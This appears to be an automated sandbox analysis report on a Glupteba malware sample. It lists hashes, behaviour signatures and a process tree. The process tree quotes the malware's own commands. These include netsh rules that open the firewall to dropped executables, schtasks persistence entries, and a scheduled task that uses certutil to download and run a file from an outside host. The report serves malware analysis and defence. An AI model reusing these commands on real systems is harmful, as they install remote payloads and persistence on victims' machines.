Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-06-2024 18:22

General

  • Target

    a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    a1b89128ef26396399f8e888cef53682

  • SHA1

    1b9f242b904edbe933596fb465f5a54e16e88d24

  • SHA256

    55e1604ebd4d5a0a9ccb6d4a7fd2ce4b5c1f75f9e2ac2710cf0698bac42c6679

  • SHA512

    e0cbba359ab32670aa0dd8e486963c5855dc8908ae42940a1cc8547b8d208d35a42ecca2df5212fe5520f21f73337f35814f291e9131d5d7ab19dd952f966b0f

  • SSDEEP

    98304:Nhr0+rvyewVzbxC1C+xxRaqW71ycye9cMnLuWI2/vz:Nhg4UxupSDRFnz

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4268
    • C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\a1b89128ef26396399f8e888cef53682_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:64
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4332
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:412
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e56eebd58a0a\e56eebd58a0a\e56eebd58a0a.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3780
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\e56eebd58a0a\e56eebd58a0a\e56eebd58a0a.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:2396
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5104
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:3716
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1112
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:1792
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4784
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 64 -s 848
        3⤵
        • Program crash
        PID:4024
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 876
      2⤵
      • Program crash
      PID:3444
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4268 -ip 4268
    1⤵
      PID:1368
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 64 -ip 64
      1⤵
        PID:4176

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        a1b89128ef26396399f8e888cef53682

        SHA1

        1b9f242b904edbe933596fb465f5a54e16e88d24

        SHA256

        55e1604ebd4d5a0a9ccb6d4a7fd2ce4b5c1f75f9e2ac2710cf0698bac42c6679

        SHA512

        e0cbba359ab32670aa0dd8e486963c5855dc8908ae42940a1cc8547b8d208d35a42ecca2df5212fe5520f21f73337f35814f291e9131d5d7ab19dd952f966b0f

      • memory/64-5-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/64-6-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/64-7-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/64-16-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-1-0x0000000001110000-0x00000000014BE000-memory.dmp

        Filesize

        3.7MB

      • memory/4268-2-0x00000000014C0000-0x0000000001BB6000-memory.dmp

        Filesize

        7.0MB

      • memory/4268-3-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB

      • memory/4268-8-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-9-0x00000000014C0000-0x0000000001BB6000-memory.dmp

        Filesize

        7.0MB

      • memory/4268-10-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB

      • memory/5104-21-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-22-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-23-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-24-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-25-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-26-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-27-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-28-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-29-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-30-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-32-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-33-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/5104-34-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB